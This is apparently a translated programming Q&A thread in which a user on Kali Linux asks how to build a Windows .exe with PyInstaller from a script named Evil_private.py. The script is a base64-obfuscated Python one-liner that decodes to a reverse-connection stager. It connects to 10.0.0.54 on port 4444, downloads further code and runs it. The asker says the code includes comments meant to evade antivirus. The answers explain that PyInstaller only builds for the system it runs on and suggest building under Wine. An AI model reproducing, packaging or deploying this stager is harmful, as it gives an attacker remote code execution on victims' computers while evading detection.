在Linux上将Python编译为.EXE而不是.ELF

时间:2017-10-01 01:57:19

标签: python linux windows pyinstaller

我正在Kali Linux上编译Python代码。我想生成一个在Windows上运行的.exe文件。这些是PyInstaller的以下设置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

并且代码只是米预测,带有一些注释以避免反病毒检测。以下代码是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

当我编译它时,我收到一个.ELF文件而不是.EXE。也许我可以让目录错误?我不认为是这样,因为我检查了大多数与PyInstaller相关的目录。我已经阅读了PyInstaller的指南,但它似乎毫无用处。有没有解决方案在Linux上编译Python代码以获取Windows的.exe文件?

2 个答案:

答案 0 :(得分:2)

来自the documentation

  

PyInstaller 的输出特定于活动操作系统和Python的活动版本。这意味着要为以下内容准备分发:

     
      
  • 不同的操作系统
  •   
  • 不同版本的Python
  •   
  • 32位或64位操作系统
  •   
     

在该版本的Python下,在该操作系统上运行 PyInstaller 。执行 PyInstaller 的Python解释器是bundle的一部分,它特定于OS和字大小。

你无法在运行其Python的Kali下生成.exe。

答案 1 :(得分:1)

伊格纳西奥的回答是正确的。 Linux版本的pyinstaller不会构建Windows PE。

[复杂的]解决方法是安装wine,然后在wine上安装python(和wine上的pyinstaller)。

然后运行wine的pyinstaller来构建exe。